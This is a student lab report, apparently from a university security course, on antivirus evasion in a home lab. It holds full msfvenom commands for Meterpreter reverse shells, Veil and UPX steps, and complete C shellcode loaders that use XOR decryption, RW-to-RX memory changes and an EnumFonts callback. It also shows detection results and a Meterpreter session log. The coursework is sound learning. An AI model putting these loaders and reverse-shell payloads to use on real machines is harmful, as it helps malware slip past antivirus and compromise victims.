20242315 2026-2027-1 《网络与系统攻防技术》实验三实验报告

20242315 2026-2027-1 《网络与系统攻防技术》实验三实验报告

实验名称:免杀原理与实践
实验时间:2026 年 10 月 23 日—24 日
攻击机:Kali Linux 2026.2,主机名 zhangguanlun,IP 192.168.64.128
靶机:另一台 Windows 11 主机,计算机名 LAPTOP-FP4PE0P9,IP 192.168.64.1
杀软:火绒安全软件 6.0.12.3,病毒库 2026-10-23 19:23
静态检测:VirSCAN,48 个引擎

1. 基础知识

1.1 杀软是如何检测出恶意代码的(问题一)

杀软通常把多种检测手段叠在一起,任何一层发现可疑信号,都可能告警或删除。

检测层 主要依据 本次实验中的表现
静态特征 哈希、连续字节序列、PE 模板 基线 exe 被 16 个引擎检出,火绒报 HVM
静态启发式 节区、导入表、熵、公开壳痕迹 明文 C loader 落地被删;UPX 样本被报 [packed]
动态行为 API 调用链、内存权限、网络连接 进阶 loader 静态 4/48,运行阶段被行为沙盒拦截
云端/流式 云端二次判定、下载保护 回调版在 .tmp 阶段被火绒阻止下载

1.2 免杀是做什么的(问题二)

免杀是在不改变恶意代码最终功能的前提下,改变它在磁盘上、内存里和网络上的“样子”,使杀软不在关键环节把它认出来。要区分三个层面:静态免杀解决文件落盘不被扫描;动态免杀解决运行阶段不被行为引擎或沙盒拦住;投递免杀解决下载、解压、复制过程中不被流式扫描截获。一个样本可以做到 VirSCAN 只有 2/48,却在下载阶段被火绒删掉;也可以静态被查出,但通过信任区跑起来。这几件事必须分开看。

1.3 免杀的基本方法有哪些(问题三)

方法 做法 局限 本次对应
编码/加密 shikata_ga_nai、XOR 解码 stub 仍是特征;加密不改变执行链 编码 10 次、XOR
换文件形态 jar、php 等非 PE 文件 仍可能被 Java/PHP 特征命中,依赖运行环境 jar、C 二次编译
加壳 UPX 压缩 公开壳特征明显,能被脱壳 UPX
内存加载/API 规避 VirtualAlloc、VirtualProtect、回调执行 “申请—写入—改权限—执行”仍可能被行为引擎识别 进阶/回调 loader
组合与投递 加密 + 换编译器 + 权限分离 + 换传输 投递层仍可能被流式扫描拦截 回调版 + 信任区

1.4 本实验使用的工具

工具/API 关键点
msfvenom -e 选编码器、-i 迭代、-f 选格式;shikata_ga_nai 依赖固定解码 stub,多编码不等于免杀
Veil-Evasion 把 shellcode 嵌入 C 模板重新编译,改的是外层 PE 结构和编译器指纹
C loader VirtualAlloc 申请内存、memcpy 写入、函数指针或系统回调执行;32 位 shellcode 必须配 32 位 loader
UPX 公开压缩壳,能改变文件结构和体积,但对行为监控无效

msfvenom 的用法参考 Rapid7 文档[2];Veil 参考 Kali 工具页和项目仓库[3][4];火绒的 HVM/行为沙盒参考官方资料[5];VirtualAlloc、VirtualProtect、EnumFonts 以 Microsoft 文档为准[6][7][8]。

2. 实验内容

本次实验要求完成三部分:一是正确使用 msf 编码器、Veil-Evasion、C + shellcode 编程等技巧;二是组合多种技术实现免杀并说明原理;三是在另一台电脑上开启杀软运行并回连,注明杀软版本。

2.1 实验任务

任务 内容 关键点
任务一 msf 编码器与多格式载荷 基线 exe、shikata_ga_nai ×10、jar 格式
任务二 Veil-Evasion 与 UPX C stager 重编译、UPX 加壳、静态对比
任务三 C + shellcode 编程 -f c、VirtualAlloc、mingw 交叉编译
任务四 组合技术实现免杀 XOR 加密、RW→RX、EnumFonts 回调
任务五 另一台电脑实测 火绒开启、handler 回连、sysinfo

2.2 方案简介与成功判据

路线是“先单点、后组合”:先用 msfvenom 直接生成 exe 拿基线,再用编码器和 jar 看“只改静态特征”有没有用;接着用 Veil 换编译外壳、用 UPX 加壳;然后自己写 C loader,从明文 shellcode 走到 XOR 加密、RW→RX 权限分离,最后用 EnumFonts 回调改变执行入口;最后在另一台 Windows 11 主机上开启火绒验证回连。

成功判据不只看 VirSCAN 数字,还要记录火绒在哪个环节介入、最终能否拿到 session。结果分成三级:静态层看检出是否下降;动态层看运行阶段是否触发行为沙盒;投递层看下载/复制阶段是否被流式扫描拦截。本次最终回连是在把文件加入火绒信任区、恢复主动防御后完成的,投递层并没有做到“无告警落地”,所以不写成“全链路免杀”。

3. 实验过程

3.0 实验准备

Kali 2026.2 的 ip a 显示地址 192.168.64.128/24、主机名 zhangguanlun(图1)。靶机是另一台 Windows 11 主机,火绒版本 6.0.12.3、病毒库 2026-10-23 19:23,文件实时监控、恶意行为监控等 7 项防护均开启(图2、图3)。实验只在本机 Kali 虚拟机和本人 Windows 主机上进行。

01_kali_env

图1 Kali 地址 192.168.64.128/24,主机名 zhangguanlun

02_huorong_version

图2 火绒版本 6.0.12.3,病毒库 2026-10-23 19:23

03_huorong_protection

图3 火绒 7 项病毒防护均开启

3.1 任务一:基线、编码与 jar

3.1.1 基线 exe

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.64.128 LPORT=4444 \
  -f exe -o payload_20242315.exe

payload 355 字节,exe 7168 字节。Kali 终端的生成过程如图 4。上传 VirSCAN,16/48 检出;拖到靶机后火绒报 HVM:Trojan/Swrot.gen!A,基线样本未进入运行阶段。如图 5、图 6。

04_baseline_generate

图4 Kali 终端生成 payload_20242315.exe,payload 355 字节,exe 7168 字节

05_baseline_virscan

图5 基线 payload 在 VirSCAN 上被 16 个引擎检出

06_baseline_huorong

图6 火绒报 HVM:Trojan/Swrot.gen!A,基线样本未进入运行阶段

3.1.2 shikata_ga_nai 编码 10 次

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.64.128 LPORT=4444 \
  -e x86/shikata_ga_nai -i 10 \
  -f exe -o payload_20242315_enc10.exe

shellcode 从 382 字节增长到 625 字节,exe 7680 字节,Kali 终端的 10 次编码输出如图 7。火绒仍报同一个 HVM:Trojan/Swrot.gen!A,并在 VMwareDnD 临时目录直接删除,如图 8。这一组没有再上传 VirSCAN:文件已经没机会运行,且解码 stub 不变,未复测的数字不写成实测值。

07_encoder_generate

图7 Kali 终端完成 10 次编码,最终 shellcode 625 字节,exe 7680 字节

08_encoder_huorong

图8 编码 10 次后火绒仍报同一 HVM 名称,并直接删除文件

3.1.3 jar 格式

msfvenom -p java/meterpreter/reverse_tcp \
  LHOST=192.168.64.128 LPORT=4444 \
  -f jar -o payload_20242315.jar

jar 没有 PE 头,理论上静态特征更少,但 VirSCAN 仍检出 15/48,文件大小 5.14 KB;报法包括 Java/Agent-AUJ、Java/Meterpreter、Exploit.Java... 等,如图 9。15/48 只比 exe 基线低 1 个,说明换格式不是万能的:jar 里仍然是 Java meterpreter 的类文件和载荷逻辑,很多引擎有专门签名。它还需要 Java 运行时,本次只做静态检测,没有在靶机执行回连。

09_jar_virscan

图9 payload_20242315.jar 在 VirSCAN 上检出 15/48,文件大小 5.14 KB

3.1.4 任务一小结

编码 10 次后火绒仍报同一 HVM;jar 15/48 也只比 exe 低 1 个。编码器和换格式都只改静态特征,不能替代加载方式改造。

3.2 任务二:Veil-Evasion 与 UPX

sudo veil
use 1
use 7
set LHOST 192.168.64.128
set LPORT 4444
generate

base name 填 veil_20242315,生成 /var/lib/veil/output/compiled/veil_20242315.exe。Veil 把 shellcode 嵌入 C 模板再编译,去掉了 msfvenom 原生 exe 的固定模板。Kali 上的生成过程如图 10。

10_veil_generate
图10 Veil 的 c/meterpreter/rev_tcp 生成成功,输出路径带学号

upx veil_20242315.exe -o veil_20242315_upx.exe

未加壳上传 VirSCAN,6/48,文件 113.04 KB,如图 11。UPX 加壳后体积 64.04 KB,检出 4/48;OneAV 报 [packed],ESET 仍报 Win32/Agent.QQQ trojan,说明壳没有挡住检测,如图 12。这两组只做静态对比,没有在靶机运行,不能当成动态免杀成功。

11_veil_virscan

图11 veil_20242315.exe 在 VirSCAN 上检出 6/48

12_veil_upx_virscan

图12 veil_20242315_upx.exe 体积 64.04 KB,检出 4/48,OneAV 报出 [packed]

3.3 任务三:C + shellcode 编程

msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=192.168.64.128 LPORT=4444 \
  -f c -o shellcode_20242315.c
#include <windows.h>
#include <string.h>

unsigned char buf[] = "\xfc\xe8...";   // 替换为 shellcode_20242315.c 中的完整数组

int main(void) {
    void *exec = VirtualAlloc(0, sizeof(buf),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    if (!exec) return 1;
    memcpy(exec, buf, sizeof(buf));
    ((void (*)(void))exec)();
    return 0;
}

windows/meterpreter/reverse_tcp 默认是 32 位 shellcode,必须用 32 位编译器:

i686-w64-mingw32-gcc loader_simple_20242315.c \
  -o loader_simple_20242315.exe -O2

文件 120.11 KB,VirSCAN 3/48,说明去掉 msfvenom 固定模板有效;但文件里仍是明文 shellcode,拖到靶机就被火绒文件实时监控删除,如图 13。换编译器只能解决 PE 模板特征,解决不了明文数据特征。

13_simple_loader_huorong

图13 loader_simple_20242315.exe 在 VMwareDnD 临时目录被火绒删除

3.4 任务四:组合技术实现免杀

3.4.1 XOR 加密与权限分离

用 Python 对 shellcode 逐字节异或 0x5A,生成 enc_xor_20242315.h,文件中不再出现明文 \xfc\xe8...。loader 先申请 RW 内存,写入密文并原地解密,再用 VirtualProtect 改成 RX 后执行。编译后 106.11 KB,VirSCAN 4/48,但双击运行时火绒报“行为沙盒”并自动处理,如图 14。静态过了,动态没过。

14_adv_loader_huorong

图14 火绒报“木马病毒(行为沙盒)”,loader_adv_20242315.exe 被自动处理

3.4.2 回调版:用 EnumFonts 改变执行入口

不再直接写 ((void(*)())exec)(),而是把 shellcode 地址转成 FONTENUMPROCA,交给 EnumFonts 的回调机制触发:

#include <windows.h>
#include <wingdi.h>
#include <string.h>
#include "enc_xor_20242315.h"

#define KEY 0x5A

int main(void) {
    void *exec = VirtualAlloc(0, enc_len,
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_READWRITE);
    if (!exec) return 1;

    memcpy(exec, enc, enc_len);
    unsigned char *p = (unsigned char *)exec;
    for (unsigned int i = 0; i < enc_len; i++) {
        p[i] = p[i] ^ KEY;
    }

    DWORD old;
    VirtualProtect(exec, enc_len, PAGE_EXECUTE_READ, &old);

    HDC hdc = GetDC(NULL);
    EnumFonts(hdc, NULL, (FONTENUMPROCA)exec, 0);
    return 0;
}

编译时加 -lgdi32:

i686-w64-mingw32-gcc loader_callback_20242315.c \
  -o loader_callback_20242315.exe -O2 -lgdi32

文件 108.13 KB,VirSCAN 2/48,如图 15。但下载时火绒在 .tmp 阶段就报“行为沙盒”并阻止,浏览器显示“无法下载”,如图 16;随后 SmartScreen 又拦了未签名 exe。为了单独测行为层,我把文件加入火绒信任区、重新开启主动防御后再运行。

15_callback_virscan

图15 loader_callback_20242315.exe 检出 2/48,文件大小 108.13 KB

16_callback_download_block

图16 文件尚未完全落盘,火绒已在 .tmp 阶段报“行为沙盒”并阻止下载

3.4.3 免杀原理分析(纯文字)

  1. 静态层:XOR 让磁盘上没有明文 shellcode;自编译 PE 去掉了 msfvenom 的固定模板。
  2. 结构层:先 RW 写入再 RX 执行,避免 RWX 同时存在;回调把“函数指针直接调用”换成系统 API 的回调入口。
  3. 行为层:EnumFonts 的调用来自 gdi32,loader 自身没有显式的“写入后立刻跳转”代码,调用链更像正常程序。
  4. 投递层:没有解决。下载保护仍会在 .tmp 阶段拦截,SmartScreen 仍会拦未签名文件;信任区只是把投递变量拿掉,不是技术免杀。

回调并没有把 shellcode 变成“合法代码”,也没有让内存扫描失效;如果杀软在回调触发前扫描那块 RX 内存,仍然可能抓到 shellcode。

3.5 任务五:另一台电脑实测(火绒开启)

靶机是另一台 Windows 11 主机,火绒版本和 7 项防护状态如图 2、图3。Kali 侧监听:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.64.128
set LPORT 4444
run

在主动防御开启、文件已加入信任区的状态下运行 loader_callback_20242315.exe:

[*] Started reverse TCP handler on 192.168.64.128:4444
[*] Sending stage (199238 bytes) to 192.168.64.1
[*] Meterpreter session 1 opened (192.168.64.128:4444 -> 192.168.64.1:11539) at 2026-10-23 10:47:21 -0400

sysinfo 返回:

Computer        : LAPTOP-FP4PE0P9
OS              : Windows 11 24H2+ (10.0 Build 26200)
Architecture    : x64
Meterpreter     : x86/windows

完整截图如图 17。靶机是 64 位 Windows 11,payload 是 32 位,运行在 WoW64 兼容层,所以 Architecture 是 x64、Meterpreter 是 x86/windows。

17_session_sysinfo

图17 火绒主动防御开启、文件已信任的条件下拿到 session,sysinfo 显示 LAPTOP-FP4PE0P9

这次“共生”的准确表述是:把样本加入信任区、恢复火绒主动防御后,回调版运行阶段没有再触发火绒告警,Kali 拿到了可交互会话。 它证明回调执行对行为层有一定绕过效果,但不能证明文件在完全陌生的靶机上也能无告警落地——下载阶段的 .tmp 拦截和 SmartScreen 都是真实发生过的。

3.6 结果汇总

阶段 样本 处理方式 VirSCAN 火绒 6.0.12.3 的反应 结论
基线 payload_20242315.exe msfvenom 直接生成 16/48 落地报 HVM,未进入运行 模板特征明显
编码 payload_20242315_enc10.exe shikata_ga_nai ×10 未复测 文件实时监控报同一 HVM 并删除 编码不改变解码 stub
jar payload_20242315.jar java meterpreter 15/48 未做靶机运行(无 Java 环境) 非 PE,但 Java 特征仍被识别
Veil veil_20242315.exe C stager 重编译 6/48 未做靶机运行,仅静态对比 换壳能降静态特征
Veil+UPX veil_20242315_upx.exe UPX 加壳 4/48 未做靶机运行,仅静态对比 公开壳收益有限
明文 loader loader_simple_20242315.exe RWX + 直接调用 3/48 落地即被文件实时监控删除 明文 shellcode 暴露
进阶 loader loader_adv_20242315.exe XOR + RW→RX 4/48 运行阶段被“行为沙盒”拦截 静态过了,动态没过
回调 loader loader_callback_20242315.exe EnumFonts 回调 2/48 .tmp 被拦;信任区放行后运行无行为告警 行为层绕过,投递层仍需处理

三个关键结论:

  1. 编码和换格式都不是免杀。 编码 10 次仍报同一 HVM;jar 15/48 只比 exe 低 1 个。
  2. 静态低检出不等于动态能过。 进阶版 4/48、回调版 2/48,都曾在下载或运行阶段被火绒拦住。
  3. 最终 session 有条件。 它是在信任区、恢复主动防御后拿到的,不能写成“全链路无告警”。

4. 问题及解决方案

问题 原因 解决
Veil 安装卡在 Username for 'https://gitee.com',改脚本后报 syntax error near unexpected token 'then' 老脚本依赖 GitHub;全局替换/删行破坏了 if 上下文 apt install --reinstall -y veil 恢复脚本;精确替换为 https://gitee.com/spears/VeilDependencies.git;补 wine32 后重新 setup.sh --force
编译回调版报 undefined reference to _imp__EnumFontsA@16 EnumFonts 属于 GDI32,MinGW 默认没链接 编译命令末尾加 -lgdi32
loader 编译成功,双击没反应,火绒也没日志 32 位 shellcode 配了 64 位 loader,跳转后直接崩溃 改用 i686-w64-mingw32-gcc 编译 32 位
VMware 拖拽/浏览器下载阶段文件就被删 火绒文件实时监控和下载保护做流式扫描,不等文件落盘 改用 HTTP/共享文件夹;仍被拦时把“投递”和“运行”拆开,信任区放行后再恢复主动防御测试
SmartScreen 拦未签名 exe 自编译文件没有签名和下载信誉 浏览器下载列表选“保留”或文件属性里“解除锁定”

5. 学习感悟、思考等

这次实验最大的收获,是我对“免杀”的理解变了。动手前我以为免杀主要是“把特征码改掉”,编码次数越多、壳越冷门越好。结果基线 16/48,编码 10 次后火绒仍报同一个 HVM:Trojan/Swrot.gen!A;jar 没有 PE 头,也只降到 15/48。shikata_ga_nai 改变的是字节序列,解码 stub 还在;jar 里仍然是 Java meterpreter 的类文件和载荷逻辑。静态特征换了,执行链没换,杀软还是能认出来。

第二个感受是“静态低检出”和“能跑起来”差得很远。明文 loader 只有 3/48,但明文 shellcode 一落地就被删;XOR 版 4/48,能落盘、能双击,却在运行阶段被行为沙盒抓住;回调版 2/48,下载阶段仍然被 .tmp 拦截。静态、流式、行为、投递是四层不同的东西,不能用一个数字概括。

第三个感受是工具太难搞了。Veil 的 setup.sh 依赖 2018 年的 GitHub 仓库,换 Gitee 镜像、补 wine32、弹 Python 3.4.4 安装向导,一系列操作让人很烦。排错时不能只盯着报错行,还要看自己上步做了什么。

最后,这次 session 是在把文件加入信任区、恢复主动防御后拿到的;下载阶段的拦截和 SmartScreen 都是真实发生过的。更准确的结论是:回调执行对行为层有一定绕过效果,静态检出也降到了 2/48,但投递层仍需额外处理;信任区放行是人为变量,不是技术免杀。

参考资料

posted @ 2026-10-24 21:55  ttt111111  阅读(0)  评论(0)    收藏  举报